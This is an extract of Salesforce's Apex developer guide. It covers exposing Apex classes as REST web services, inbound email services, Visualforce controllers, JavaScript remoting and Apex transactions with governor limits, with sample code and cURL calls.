Exposing Apex Classes as REST Web Services
You can expose your Apex classes and methods so that external applications can access your code and your application through the
REST architecture.
This is an overview of how to expose your Apex classes as REST web services. You'll learn about the class and method annotations and
see code samples that show you how to implement this functionality.
Tip: Apex SOAP web services allow an external application to invoke Apex methods through SOAP web services. See Exposing
Apex Methods as SOAP Web Services.
IN THIS SECTION:
Introduction to Apex REST
Apex REST Annotations
Apex REST Methods
Exposing Data with Apex REST Web Service Methods
Apex REST Code Samples
Introduction to Apex REST
You can expose your Apex class and methods so that external applications can access your code and your application through the REST
architecture. This is done by defining your Apex class with the @RestResource annotation to expose it as a REST resource. Similarly,
add annotations to your methods to expose them through REST. For example, you can add the @HttpGet annotation to your method
to expose it as a REST resource that can be called by an HTTP GET request. For more information, see Apex REST Annotations on page
93
These are the classes containing methods and properties you can use with Apex REST.
Class
Description
RestContext Class
Contains the RestRequest and RestResponse objects.
request
Represents an object used to pass data from an HTTP request to
an Apex RESTful Web service method.
response
Represents an object used to pass data from an Apex RESTful Web
service method to an HTTP response.
Governor Limits
Calls to Apex REST classes count against the organization's API governor limits. All standard Apex governor limits apply to Apex REST
classes. For example, the maximum request or response size is 6 MB for synchronous Apex or 12 MB for asynchronous Apex. For more
information, see Execution Governors and Limits.
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Authentication
Apex REST supports these authentication mechanisms:
• OAuth 2.0
• Session ID
See Step Two: Set Up Authorization in the Force.com REST API Developer Guide.
Apex REST Annotations
Six new annotations have been added that enable you to expose an Apex class as a RESTful Web service.
• @RestResource(urlMapping='/yourUrl')
• @HttpDelete
• @HttpGet
• @HttpPatch
• @HttpPost
• @HttpPut
Apex REST Methods
Apex REST supports two formats for representations of resources: JSON and XML. JSON representations are passed by default in the
body of a request or response, and the format is indicated by the Content-Type property in the HTTP header. You can retrieve the
body as a Blob from the HttpRequest object if there are no parameters to the Apex method. If parameters are defined in the Apex method,
an attempt is made to deserialize the request body into those parameters. If the Apex method has a non-void return type, the resource
representation is serialized into the response body.
These return and parameter types are allowed:
• Apex primitives (excluding sObject and Blob).
• sObjects
• Lists or maps of Apex primitives or sObjects (only maps with String keys are supported).
• User-defined types that contain member variables of the types listed above.
Note: Apex REST doesn’t support XML serialization and deserialization of Chatter in Apex objects. Apex REST does support JSON
serialization and deserialization of Chatter in Apex objects. Also, some collection types, such as maps and lists, aren’t supported
with XML. See Request and Response Data Considerations for details.
Methods annotated with @HttpGet or @HttpDelete should have no parameters. This is because GET and DELETE requests have
no request body, so there's nothing to deserialize.
A single Apex class annotated with @RestResource can't have multiple methods annotated with the same HTTP request method.
For example, the same class can't have two methods annotated with @HttpGet.
Note: Apex REST currently doesn't support requests of Content-Type multipart/form-data.
Apex REST Method Considerations
Here are a few points to consider when you define Apex REST methods.
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• RestRequest and RestResponse objects are available by default in your Apex methods through the static RestContext
object. This example shows how to access these objects through RestContext:
RestRequest req = RestContext.request;
RestResponse res = RestContext.response;
• If the Apex method has no parameters, Apex REST copies the HTTP request body into the RestRequest.requestBody
property. If the method has parameters, then Apex REST attempts to deserialize the data into those parameters and the data won't
be deserialized into the RestRequest.requestBody property.
• Apex REST uses similar serialization logic for the response. An Apex method with a non-void return type will have the return value
serialized into RestResponse.responseBody.
• Apex REST methods can be used in managed and unmanaged packages. When calling Apex REST methods that are contained in a
managed package, you need to include the managed package namespace in the REST call URL. For example, if the class is contained
in a managed package namespace called packageNamespace and the Apex REST methods use a URL mapping of
/MyMethod/*, the URL used via REST to call these methods would be of the form
https://instance.salesforce.com/services/apexrest/packageNamespace/MyMethod/. For more
information about managed packages, see What is a Package?.
• If a login call is made from the API for a user with an expired or temporary password, subsequent API calls to custom Apex REST Web
service methods aren't supported and result in the MUTUAL_AUTHENTICATION_FAILED error. Reset the user's password and make
a call with an unexpired password to be able to call Apex Web service methods.
User-Defined Types
You can use user-defined types for parameters in your Apex REST methods. Apex REST deserializes request data into public, private,
or global class member variables of the user-defined type, unless the variable is declared as static or transient. For example,
an Apex REST method that contains a user-defined type parameter might look like the following:
@RestResource(urlMapping='/user_defined_type_example/*')
global with sharing class MyOwnTypeRestResource {
@HttpPost
global static MyUserDefinedClass echoMyType(MyUserDefinedClass ic) {
return ic;
}
global class MyUserDefinedClass {
global String string1;
global String string2 { get; set; }
private String privateString;
global transient String transientString;
global static String staticString;
}
}
Valid JSON and XML request data for this method would look like:
{
"ic" : {
"string1" : "value for string1",
"string2" : "value for string2",
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"privateString" : "value for privateString"
}
}
<request>
<ic>
<string1>value for string1</string1>
<string2>value for string2</string2>
<privateString>value for privateString</privateString>
</ic>
</request>
If a value for staticString or transientString is provided in the example request data above, an HTTP 400 status code
response is generated. Note that the public, private, or global class member variables must be types allowed by Apex REST:
• Apex primitives (excluding sObject and Blob).
• sObjects
• Lists or maps of Apex primitives or sObjects (only maps with String keys are supported).
When creating user-defined types used as Apex REST method parameters, avoid introducing any class member variable definitions that
result in cycles (definitions that depend on each other) at run time in your user-defined types. Here's a simple example:
@RestResource(urlMapping='/CycleExample/*')
global with sharing class ApexRESTCycleExample {
@HttpGet
global static MyUserDef1 doCycleTest() {
MyUserDef1 def1 = new MyUserDef1();
MyUserDef2 def2 = new MyUserDef2();
def1.userDef2 = def2;
def2.userDef1 = def1;
return def1;
}
global class MyUserDef1 {
MyUserDef2 userDef2;
}
global class MyUserDef2 {
MyUserDef1 userDef1;
}
}
The code in the previous example compiles, but at run time when a request is made, Apex REST detects a cycle between instances of
def1 and def2, and generates an HTTP 400 status code error response.
Request and Response Data Considerations
Some additional things to keep in mind for the request data for your Apex REST methods:
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• The names of the Apex parameters matter, although the order doesn’t. For example, valid requests in both XML and JSON look like
the following:
@HttpPost
global static void myPostMethod(String s1, Integer i1, Boolean b1, String s2)
{
"s1"
"i1"
"s2"
"b1"
:
:
:
:
"my first string",
123,
"my second string",
false
}
<request>
<s1>my first string</s1>
<i1>123</i1>
<s2>my second string</s2>
<b1>false</b1>
</request>
• The URL patterns URLpattern and URLpattern/* match the same URL. If one class has a urlMapping of URLpattern
and another class has a urlMapping of URLpattern/*, a REST request for this URL pattern resolves to the class that was saved
first.
• Some parameter and return types can't be used with XML as the Content-Type for the request or as the accepted format for the
response, and hence, methods with these parameter or return types can't be used with XML. Lists, maps, or collections of collections,
for example, List<List<String>> aren't supported. However, you can use these types with JSON. If the parameter list
includes a type that's invalid for XML and XML is sent, an HTTP 415 status code is returned. If the return type is a type that's invalid
for XML and XML is the requested response format, an HTTP 406 status code is returned.
• For request data in either JSON or XML, valid values for Boolean parameters are: true, false (both of these are treated as
case-insensitive), 1 and 0 (the numeric values, not strings of “1” or “0”). Any other values for Boolean parameters result in an error.
• If the JSON or XML request data contains multiple parameters of the same name, this results in an HTTP 400 status code error response.
For example, if your method specifies an input parameter named x, the following JSON request data results in an error:
{
"x" : "value1",
"x" : "value2"
}
Similarly, for user-defined types, if the request data includes data for the same user-defined type member variable multiple times,
this results in an error. For example, given this Apex REST method and user-defined type:
@RestResource(urlMapping='/DuplicateParamsExample/*')
global with sharing class ApexRESTDuplicateParamsExample {
@HttpPost
global static MyUserDef1 doDuplicateParamsTest(MyUserDef1 def) {
return def;
}
global class MyUserDef1 {
Integer i;
}
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}
The following JSON request data also results in an error:
{
"def" : {
"i" : 1,
"i" : 2
}
}
• If you need to specify a null value for one of your parameters in your request data, you can either omit the parameter entirely or
specify a null value. In JSON, you can specify null as the value. In XML, you must use the
http://www.w3.org/2001/XMLSchema-instance namespace with a nil value.
• For XML request data, you must specify an XML namespace that references any Apex namespace your method uses. So, for example,
if you define an Apex REST method such as:
@RestResource(urlMapping='/namespaceExample/*')
global class MyNamespaceTest {
@HttpPost
global static MyUDT echoTest(MyUDT def, String extraString) {
return def;
}
global class MyUDT {
Integer count;
}
}
You can use the following XML request data:
<request>
<def xmlns:MyUDT="http://soap.sforce.com/schemas/class/MyNamespaceTest">
<MyUDT:count>23</MyUDT:count>
</def>
<extraString>test</extraString>
</request>
Response Status Codes
The status code of a response is set automatically. This table lists some HTTP status codes and what they mean in the context of the
HTTP request method. For the full list of response status codes, see statusCode.
Request Method
Response Status
Code
Description
GET
200
The request was successful.
PATCH
200
The request was successful and the return type is non-void.
PATCH
204
The request was successful and the return type is void.
DELETE, GET, PATCH, POST, PUT
400
An unhandled user exception occurred.
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Request Method
Response Status
Code
Description
DELETE, GET, PATCH, POST, PUT
403
You don't have access to the specified Apex class.
DELETE, GET, PATCH, POST, PUT
404
The URL is unmapped in an existing @RestResource
annotation.
DELETE, GET, PATCH, POST, PUT
404
The URL extension is unsupported.
DELETE, GET, PATCH, POST, PUT
404
The Apex class with the specified namespace couldn't be found.
DELETE, GET, PATCH, POST, PUT
405
The request method doesn't have a corresponding Apex method.
DELETE, GET, PATCH, POST, PUT
406
The Content-Type property in the header was set to a value other
than JSON or XML.
DELETE, GET, PATCH, POST, PUT
406
The header specified in the HTTP request is not supported.
GET, PATCH, POST, PUT
406
The XML return type specified for format is unsupported.
DELETE, GET, PATCH, POST, PUT
415
The XML parameter type is unsupported.
DELETE, GET, PATCH, POST, PUT
415
The Content-Header Type specified in the HTTP request header
is unsupported.
DELETE, GET, PATCH, POST, PUT
500
An unhandled Apex exception occurred.
SEE ALSO:
JSON Support
XML Support
Exposing Data with Apex REST Web Service Methods
Invoking a custom Apex REST Web service method always uses system context. Consequently, the current user's credentials are not
used, and any user who has access to these methods can use their full power, regardless of permissions, field-level security, or sharing
rules. Developers who expose methods using the Apex REST annotations should therefore take care that they are not inadvertently
exposing any sensitive data.
Warning: Apex class methods that are exposed through the Apex REST API don't enforce object permissions and field-level
security by default. We recommend that you make use of the appropriate object or field describe result methods to check the
current user’s access level on the objects and fields that the Apex REST API method is accessing. See DescribeSObjectResult Class
and DescribeFieldResult Class.
Also, sharing rules (record-level access) are enforced only when declaring a class with the with sharing keyword. This
requirement applies to all Apex classes, including to classes that are exposed through Apex REST API. To enforce sharing rules for
Apex REST API methods, declare the class that contains these methods with the with sharing keyword. See Using the with
sharing or without sharing Keywords.
Apex REST Code Samples
These code samples show you how to expose Apex classes and methods through the REST architecture and how to call those resources
from a client.
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• Apex REST Basic Code Sample: Provides an example of an Apex REST class with three methods that you can call to delete a record,
get a record, and update a record.
• Apex REST Code Sample Using RestRequest: Provides an example of an Apex REST class that adds an attachment to a record by
using the RestRequest object
IN THIS SECTION:
Apex REST Basic Code Sample
Apex REST Code Sample Using RestRequest
Apex REST Basic Code Sample
This sample shows you how to implement a simple REST API in Apex that handles three different HTTP request methods. For more
information about authenticating with cURL, see the Quick Start section of the Force.com REST API Developer Guide.
1. Create an Apex class in your instance from Setup by entering New in the Quick Find box, then selecting New and add this
code to your new class:
@RestResource(urlMapping='/Account/*')
global with sharing class MyRestResource {
@HttpDelete
global static void doDelete() {
RestRequest req = RestContext.request;
RestResponse res = RestContext.response;
String accountId = req.requestURI.substring(req.requestURI.lastIndexOf('/')+1);
Account account = [SELECT Id FROM Account WHERE Id = :accountId];
delete account;
}
@HttpGet
global static Account doGet() {
RestRequest req = RestContext.request;
RestResponse res = RestContext.response;
String accountId = req.requestURI.substring(req.requestURI.lastIndexOf('/')+1);
Account result = [SELECT Id, Name, Phone, Website FROM Account WHERE Id =
:accountId];
return result;
}
@HttpPost
global static String doPost(String name,
String phone, String website) {
Account account = new Account();
account.Name = name;
account.phone = phone;
account.website = website;
insert account;
return account.Id;
}
}
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2. To call the doGet method from a client, open a command-line window and execute the following cURL command to retrieve
an account by ID:
curl -H "Authorization: Bearer sessionId"
"https://instance.salesforce.com/services/apexrest/Account/accountId"
• Replace sessionId with the <sessionId> element that you noted in the login response.
• Replace instance with your <serverUrl> element.
• Replace accountId with the ID of an account which exists in your organization.
After calling the doGet method, Salesforce returns a JSON response with data such as the following:
{
"attributes" :
{
"type" : "Account",
"url" : "/services/data/v22.0/sobjects/Account/accountId"
},
"Id" : "accountId",
"Name" : "Acme"
}
Note: The cURL examples in this section don't use a namespaced Apex class so you won't see the namespace in the URL.
3. Create a file called account.txt to contain the data for the account you will create in the next step.
{
"name" : "Wingo Ducks",
"phone" : "707-555-1234",
"website" : "www.wingo.ca.us"
}
4. Using a command-line window, execute the following cURL command to create a new account:
curl -H "Authorization: Bearer sessionId" -H "Content-Type: application/json" -d
@account.txt "https://instance.salesforce.com/services/apexrest/Account/"
After calling the doPost method, Salesforce returns a response with data such as the following:
"accountId"
The accountId is the ID of the account you just created with the POST request.
5. Using a command-line window, execute the following cURL command to delete an account by specifying the ID:
curl —X DELETE —H "Authorization: Bearer sessionId"
"https://instance.salesforce.com/services/apexrest/Account/accountId"
Apex REST Code Sample Using RestRequest
The following sample shows you how to add an attachment to a case by using the RestRequest object. For more information about
authenticating with cURL, see the Quick Start section of the Force.com REST API Developer Guide. In this code, the binary file data is
stored in the RestRequest object, and the Apex service class accesses the binary data in the RestRequest object .
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1. Create an Apex class in your instance from Setup by entering Apex Classes in the Quick Find box, then selecting Apex
Classes. Click New and add the following code to your new class:
@RestResource(urlMapping='/CaseManagement/v1/*')
global with sharing class CaseMgmtService
{
@HttpPost
global static String attachPic(){
RestRequest req = RestContext.request;
RestResponse res = Restcontext.response;
Id caseId = req.requestURI.substring(req.requestURI.lastIndexOf('/')+1);
Blob picture = req.requestBody;
Attachment a = new Attachment (ParentId = caseId,
Body = picture,
ContentType = 'image/jpg',
Name = 'VehiclePicture');
insert a;
return a.Id;
}
}
2. Open a command-line window and execute the following cURL command to upload the attachment to a case:
curl -H "Authorization: Bearer sessionId" -H "X-PrettyPrint: 1" -H "Content-Type:
image/jpeg" --data-binary @file
"https://instance.salesforce.com/services/apexrest/CaseManagement/v1/caseId"
• Replace sessionId with the <sessionId> element that you noted in the login response.
• Replace instance with your <serverUrl> element.
• Replace caseId with the ID of the case you want to add the attachment to.
• Replace file with the path and file name of the file you want to attach.
Your command should look something like this (with the sessionId replaced with your session ID and yourInstance
replaced with your instance name):
curl -H "Authorization: Bearer sessionId"
-H "X-PrettyPrint: 1" -H "Content-Type: image/jpeg" --data-binary
@c:\test\vehiclephoto1.jpg
"https://yourInstance.salesforce.com/services/apexrest/CaseManagement/v1/500D0000003aCts"
Note: The cURL examples in this section don’t use a namespaced Apex class so you won’t see the namespace in the URL.
The Apex class returns a JSON response that contains the attachment ID such as the following:
"00PD0000001y7BfMAI"
3. To verify that the attachment and the image were added to the case, navigate to Cases and select the All Open Cases view. Click
on the case and then scroll down to the Attachments related list. You should see the attachment you just created.
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Apex Email Service
You can use email services to process the contents, headers, and attachments of inbound email. For example, you can create an email
service that automatically creates contact records based on contact information in messages.
Note: Visualforce email templates cannot be used for mass email.
You can associate each email service with one or more Salesforce-generated email addresses to which users can send messages for
processing. To give multiple users access to a single email service, you can:
• Associate multiple Salesforce-generated email addresses with the email service and allocate those addresses to users.
• Associate a single Salesforce-generated email address with the email service, and write an Apex class that executes according to the
user accessing the email service. For example, you can write an Apex class that identifies the user based on the user's email address
and creates records on behalf of that user.
To use email services, from Setup, enter Email Services in the Quick Find box, then select Email Services.
• Click New Email Service to define a new email service.
• Select an existing email service to view its configuration, activate or deactivate it, and view or specify addresses for that email service.
• Click Edit to make changes to an existing email service.
• Click Delete to delete an email service.
Note: Before deleting email services, you must delete all associated email service addresses.
When defining email services, note the following:
• An email service only processes messages it receives at one of its addresses.
• Salesforce limits the total number of messages that all email services combined, including On-Demand Email-to-Case, can process
daily. Messages that exceed this limit are bounced, discarded, or queued for processing the next day, depending on how you
configure the failure response settings for each email service. Salesforce calculates the limit by multiplying the number of user
licenses by 1,000; maximum 1,000,000. For example, if you have 10 licenses, your org can process up to 10,000 email messages a
day.
• Email service addresses that you create in your sandbox cannot be copied to your production org.
• For each email service, you can tell Salesforce to send error email messages to a specified address instead of the sender's email
address.
• Email services reject email messages and notify the sender if the email (combined body text, body HTML, and attachments) exceeds
approximately 10 MB (varies depending on language and character set).
Using the InboundEmail Object
For every email the Apex email service domain receives, Salesforce creates a separate InboundEmail object that contains the contents
and attachments of that email. You can use Apex classes that implement the Messaging.InboundEmailHandler interface
to handle an inbound email message. Using the handleInboundEmail method in that class, you can access an InboundEmail
object to retrieve the contents, headers, and attachments of inbound email messages, as well as perform many functions.
Example 1: Create Tasks for Contacts
The following is an example of how you can look up a contact based on the inbound email address and create a new task.
global class CreateTaskEmailExample implements Messaging.InboundEmailHandler {
global Messaging.InboundEmailResult handleInboundEmail(Messaging.inboundEmail email,
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Messaging.InboundEnvelope env){
// Create an InboundEmailResult object for returning the result of the
// Apex Email Service
Messaging.InboundEmailResult result = new Messaging.InboundEmailResult();
String myPlainText= '';
// Add the email plain text into the local variable
myPlainText = email.plainTextBody;
// New Task object to be created
Task[] newTask = new Task[0];
// Try to look up any contacts based on the email from address
// If there is more than one contact with the same email address,
// an exception will be thrown and the catch statement will be called.
try {
Contact vCon = [SELECT Id, Name, Email
FROM Contact
WHERE Email = :email.fromAddress
LIMIT 1];
// Add a new Task to the contact record we just found above.
newTask.add(new Task(Description = myPlainText,
Priority = 'Normal',
Status = 'Inbound Email',
Subject = email.subject,
IsReminderSet = true,
ReminderDateTime = System.now()+1,
WhoId = vCon.Id));
// Insert the new Task
insert newTask;
System.debug('New Task Object: ' + newTask );
}
// If an exception occurs when the query accesses
// the contact record, a QueryException is called.
// The exception is written to the Apex debug log.
catch (QueryException e) {
System.debug('Query Issue: ' + e);
}
// Set the result to true. No need to send an email back to the user
// with an error message
result.success = true;
// Return the result for the Apex Email Service
return result;
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}
}
SEE ALSO:
InboundEmail Class
InboundEnvelope Class
InboundEmailResult Class
Visualforce Classes
In addition to giving developers the ability to add business logic to Salesforce system events such as button clicks and related record
updates, Apex can also be used to provide custom logic for Visualforce pages through custom Visualforce controllers and controller
extensions.
• A custom controller is a class written in Apex that implements all of a page's logic, without leveraging a standard controller. If you
use a custom controller, you can define new navigation elements or behaviors, but you must also reimplement any functionality
that was already provided in a standard controller.
Like other Apex classes, custom controllers execute entirely in system mode, in which the object and field-level permissions of the
current user are ignored. You can specify whether a user can execute methods in a custom controller based on the user's profile.
• A controller extension is a class written in Apex that adds to or overrides behavior in a standard or custom controller. Extensions
allow you to leverage the functionality of another controller while adding your own custom logic.
Because standard controllers execute in user mode, in which the permissions, field-level security, and sharing rules of the current
user are enforced, extending a standard controller allows you to build a Visualforce page that respects user permissions. Although
the extension class executes in system mode, the standard controller executes in user mode. As with custom controllers, you can
specify whether a user can execute methods in a controller extension based on the user's profile.
You can use these system-supplied Apex classes when building custom Visualforce controllers and controller extensions.
• Action
• Dynamic Component
• IdeaStandardController
• IdeaStandardSetController
• KnowledgeArticleVersionStandardController
• Message
• PageReference
• SelectOption
• StandardController
• StandardSetController
In addition to these classes, the transient keyword can be used when declaring methods in controllers and controller extensions.
For more information, see Using the transient Keyword on page 78.
For more information on Visualforce, see the Visualforce Developer's Guide.
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JavaScript Remoting
Use JavaScript remoting in Visualforce to call methods in Apex controllers from JavaScript. Create pages with complex, dynamic behavior
that isn’t possible with the standard Visualforce AJAX components.
Features implemented using JavaScript remoting require three elements:
• The remote method invocation you add to the Visualforce page, written in JavaScript.
• The remote method definition in your Apex controller class. This method definition is written in Apex, but there are some important
differences from normal action methods.
• The response handler callback function you add to or include in your Visualforce page, written in JavaScript.
In your controller, your Apex method declaration is preceded with the @RemoteAction annotation like this:
@RemoteAction
global static String getItemId(String objectName) { ... }
Apex @RemoteAction methods must be static and either global or public.
A simple JavaScript remoting invocation takes the following form.
[namespace.]controller.method(
[parameters...,]
callbackFunction,
[configuration]
);
Table 2: Remote Request Elements
Element
Description
namespace
The namespace of the controller class. This is required if your organization has a namespace defined,
or if the class comes from an installed package.
controller
The name of your Apex controller.
method
The name of the Apex method you’re calling.
parameters
A comma-separated list of parameters that your method takes.
callbackFunction
The name of the JavaScript function that will handle the response from the controller. You can also
declare an anonymous function inline. callbackFunction receives the status of the method
call and the result as parameters.
configuration
Configures the handling of the remote call and response. Use this to change the behavior of a
remoting call, such as whether or not to escape the Apex method’s response.
For more information, see “JavaScript Remoting for Apex Controllers” in the Visualforce Developer's Guide.
Apex in AJAX
The AJAX toolkit includes built-in support for invoking Apex through anonymous blocks or public webservice methods.
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To invoke Apex through anonymous blocks or public webservice methods, include the following lines in your AJAX code:
<script src="/soap/ajax/15.0/connection.js" type="text/javascript"></script>
<script src="/soap/ajax/15.0/apex.js" type="text/javascript"></script>
Note: For AJAX buttons, use the alternate forms of these includes.
To invoke Apex, use one of the following two methods:
• Execute anonymously via sforce.apex.executeAnonymous (script). This method returns a result similar to the API's
result type, but as a JavaScript structure.
• Use a class WSDL. For example, you can call the following Apex class:
global class myClass {
webservice static Id makeContact(String lastName, Account a) {
Contact c = new Contact(LastName = lastName, AccountId = a.Id);
return c.id;
}
}
By using the following JavaScript code:
var account = sforce.sObject("Account");
var id = sforce.apex.execute("myClass","makeContact",
{lastName:"Smith",
a:account});
The execute method takes primitive data types, sObjects, and lists of primitives or sObjects.
To call a webservice method with no parameters, use {} as the third parameter for sforce.apex.execute. For example, to
call the following Apex class:
global class myClass{
webservice static String getContextUserName() {
return UserInfo.getFirstName();
}
}
Use the following JavaScript code:
var contextUser = sforce.apex.execute("myClass", "getContextUserName", {});
Note: If a namespace has been defined for your organization, you must include it in the JavaScript code when you invoke
the class. For example, to call the above class, the JavaScript code from above would be rewritten as follows:
var contextUser = sforce.apex.execute("myNamespace.myClass", "getContextUserName",
{});
To verify whether your organization has a namespace, log in to your Salesforce organization and from Setup, enter Packages
in the Quick Find box, then select Packages. If a namespace is defined, it is listed under Developer Settings.
Both examples result in native JavaScript values that represent the return type of the methods.
Use the following line to display a popup window with debugging information:
sforce.debug.trace=true;
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Apex Transactions and Governor Limits
Apex Transactions ensure the integrity of data. Apex code runs as part of atomic transactions. Governor execution limits ensure the
efficient use of resources on the Force.com multitenant platform.
Most of the governor limits are per transaction, and some aren’t, such as 24-hour limits.
To make sure Apex adheres to governor limits, certain design patterns should be used, such as bulk calls and foreign key relationships
in queries.
IN THIS SECTION:
Apex Transactions
An Apex transaction represents a set of operations that are executed as a single unit. All DML operations in a transaction either
complete successfully, or if an error occurs in one operation, the entire transaction is rolled back and no data is committed to the
database. The boundary of a transaction can be a trigger, a class method, an anonymous block of code, a Visualforce page, or a
custom Web service method.
Execution Governors and Limits
Because Apex runs in a multitenant environment, the Apex runtime engine strictly enforces limits to ensure that runaway Apex code
or processes don’t monopolize shared resources. If some Apex code exceeds a limit, the associated governor issues a runtime
exception that cannot be handled.
Set Up Governor Limit Email Warnings
You can specify users in your organization to receive an email notification when they invoke Apex code that surpasses 50% of
allocated governor limits.
Running Apex within Governor Execution Limits
When you develop software in a multitenant cloud environment such as the Force.com platform, you don’t have to scale your code,
because the Force.com platform does it for you. Because resources are shared in a multitenant platform, the Apex runtime engine
enforces some limits to ensure that no one transaction monopolizes shared resources.
Apex Transactions
An Apex transaction represents a set of operations that are executed as a single unit. All DML operations in a transaction either complete
successfully, or if an error occurs in one operation, the entire transaction is rolled back and no data is committed to the database. The
boundary of a transaction can be a trigger, a class method, an anonymous block of code, a Visualforce page, or a custom Web service
method.
All operations that occur inside the transaction boundary represent a single unit of operations. This also applies for calls that are made
from the transaction boundary to external code, such as classes or triggers that get fired as a result of the code running in the transaction
boundary. For example, consider the following chain of operations: a custom Apex Web service method causes a trigger to fire, which
in turn calls a method in a class. In this case, all changes are committed to the database only after all operations in the transaction finish
executing and don’t cause any errors. If an error occurs in any of the intermediate steps, all database changes are rolled back and the
transaction isn’t committed.
Note: An Apex transaction is sometimes referred to as an execution context. Both terms refer to the same thing. This guide uses
the Apex transaction term.
How are Transactions Useful?
Transactions are useful when several operations are related, and either all or none of the operations should be committed. This keeps
the database in a consistent state. There are many business scenarios that benefit from transaction processing. For example, transferring
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funds from one bank account to another is a common scenario. It involves debiting the first account and crediting the second account
with the amount to transfer. These two operations need to be committed together to the database. But if the debit operation succeeds
and the credit operation fails, the account balances will be inconsistent.
Example
This example shows how all DML insert operations in a method are rolled back when the last operation causes a validation rule
failure. In this example, the invoice method is the transaction boundary—all code that runs within this method either commits all
changes to the platform database or rolls back all changes. In this case, we add a new invoice statement with a line item for the pencils
merchandise. The Line Item is for a purchase of 5,000 pencils specified in the Units_Sold__c field, which is more than the entire pencils
inventory of 1,000. This example assumes a validation rule has been set up to check that the total inventory of the merchandise item is
enough to cover new purchases.
Since this example attempts to purchase more pencils (5,000) than items in stock (1,000), the validation rule fails and throws an exception.
Code execution halts at this point and all DML operations processed before this exception are rolled back. In this case, the invoice
statement and line item won’t be added to the database, and their insert DML operations are rolled back.
In the Developer Console, execute the static invoice method.
//
//
//
Id
Only 1,000 pencils are in stock.
Purchasing 5,000 pencils cause the validation rule to fail,
which results in an exception in the invoice method.
invoice = MerchandiseOperations.invoice('Pencils', 5000, 'test 1');
This is the definition of the invoice method. In this case, the update of total inventory causes an exception due to the validation rule
failure. As a result, the invoice statements and line items will be rolled back and won’t be inserted into the database.
public class MerchandiseOperations {
public static Id invoice( String pName, Integer pSold, String pDesc) {
// Retrieve the pencils sample merchandise
Merchandise__c m = [SELECT Price__c,Total_Inventory__c
FROM Merchandise__c WHERE Name = :pName LIMIT 1];
// break if no merchandise is found
System.assertNotEquals(null, m);
// Add a new invoice
Invoice_Statement__c i = new Invoice_Statement__c(
Description__c = pDesc);
insert i;
// Add a new line item to the invoice
Line_Item__c li = new Line_Item__c(
Name = '1',
Invoice_Statement__c = i.Id,
Merchandise__c = m.Id,
Unit_Price__c = m.Price__c,
Units_Sold__c = pSold);
insert li;
// Update the inventory of the merchandise item
m.Total_Inventory__c -= pSold;
// This causes an exception due to the validation rule
// if there is not enough inventory.
update m;
return i.Id;
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}
}
Execution Governors and Limits
Because Apex runs in a multitenant environment, the Apex runtime engine strictly enforces limits to ensure that runaway Apex code or
processes don’t monopolize shared resources. If some Apex code exceeds a limit, the associated governor issues a runtime exception
that cannot be handled.
The Apex limits, or governors, track and enforce the statistics outlined in the following tables and sections.
• Per-Transaction Apex Limits
• Per-Transaction Certified Managed Package Limits
• Force.com Platform Apex Limits
• Static Apex Limits
• Size-Specific Apex Limits
• Miscellaneous Apex Limits
In addition to the core Apex governor limits, email limits and push notification limits are also included later in this topic for your
convenience.
Per-Transaction Apex Limits
These limits count for each Apex transaction. For Batch Apex, these limits are reset for each execution of a batch of records in the
execute method.
This table lists limits for synchronous Apex and asynchronous Apex (Batch Apex and future methods) when they’re different. Otherwise,
this table lists only one limit that applies to both synchronous and asynchronous Apex.
Description
Total number of SOQL queries issued1
Synchronous
Limit
Asynchronous
Limit
100
200
Total number of records retrieved by SOQL queries
50,000
Total number of records retrieved by Database.getQueryLocator
10,000
Total number of SOSL queries issued
20
Total number of records retrieved by a single SOSL query
2,000
Total number of DML statements issued2
150
Total number of records processed as a result of DML statements, Approval.process,
or database.emptyRecycleBin
10,000
Total stack depth for any Apex invocation that recursively fires triggers due to insert,
3
update, or delete statements
16
Total number of callouts (HTTP requests or Web services calls) in a transaction
100
Maximum cumulative timeout for all callouts (HTTP requests or Web services calls) in a
transaction
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Description
Synchronous
Limit
Asynchronous
Limit
Maximum number of methods with the future annotation allowed per Apex invocation
50
Maximum number of Apex jobs added to the queue with System.enqueueJob
50
Total number of sendEmail methods allowed
10
Total heap size4
6 MB
Maximum CPU time on the Salesforce servers5
12 MB
10,000 milliseconds 60,000 milliseconds
Maximum execution time for each Apex transaction
10 minutes
Maximum number of push notification method calls allowed per Apex transaction
Maximum number of push notifications that can be sent in each push notification method
call
10
2,000
1
In a SOQL query with parent-child relationship subqueries, each parent-child relationship counts as an extra query. These types of
queries have a limit of three times the number for top-level queries. The limit for subqueries corresponds to the value that
Limits.getLimitAggregateQueries() returns.The row counts from these relationship queries contribute to the row counts
of the overall code execution. This limit doesn’t apply to custom metadata types. In a single Apex transaction, custom metadata records
can have unlimited SOQL queries. In addition to static SOQL statements, calls to the following methods count against the number of
SOQL statements issued in a request.
• Database.countQuery
• Database.getQueryLocator
• Database.query
2
Calls to the following methods count against the number of DML queries issued in a request.
• Approval.process
• Database.convertLead
• Database.emptyRecycleBin
• Database.rollback
• Database.setSavePoint
• delete and Database.delete
• insert and Database.insert
• merge and Database.merge
• undelete and Database.undelete
• update and Database.update
• upsert and Database.upsert
• System.runAs
3
Recursive Apex that does not fire any triggers with insert, update, or delete statements exists in a single invocation, with a
single stack. Conversely, recursive Apex that fires a trigger spawns the trigger in a new Apex invocation, separate from the invocation
of the code that caused it to fire. Because spawning a new invocation of Apex is a more expensive operation than a recursive call in a
single invocation, there are tighter restrictions on the stack depth of these types of recursive calls.
4
Email services heap size is 36 MB.
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5
CPU time is calculated for all executions on the Salesforce application servers occurring in one Apex transaction. CPU time is calculated
for the executing Apex code, and for any processes that are called from this code, such as package code and workflows. CPU time is
private for a transaction and is isolated from other transactions. Operations that don’t consume application server CPU time aren’t counted
toward CPU time. For example, the portion of execution time spent in the database for DML, SOQL, and SOSL isn’t counted, nor is waiting
time for Apex callouts.
Note:
• Limits apply individually to each testMethod.
• To determine the code execution limits for your code while it is running, use the Limits methods. For example, you can use
the getDMLStatements method to determine the number of DML statements that have already been called by your
program. Or, you can use the getLimitDMLStatements method to determine the total number of DML statements
available to your code.
Per-Transaction Certified Managed Package Limits
Certified managed packages—managed packages that have passed the security review for AppExchange—get their own set of limits
for most per-transaction limits. Certified managed packages are developed by Salesforce ISV Partners, are installed in your org from
Force.com AppExchange, and have unique namespaces.
Here is an example that illustrates the separate certified managed package limits for DML statements. If you install a certified managed
package, all the Apex code in that package gets its own 150 DML statements. These DML statements are in addition to the 150 DML
statements your org’s native code can execute. This limit increase means more than 150 DML statements can execute during a single
transaction if code from the managed package and your native org both execute. Similarly, the certified managed package gets its own
100-SOQL-query limit for synchronous Apex, in addition to the org’s native code limit of 100 SOQL queries.
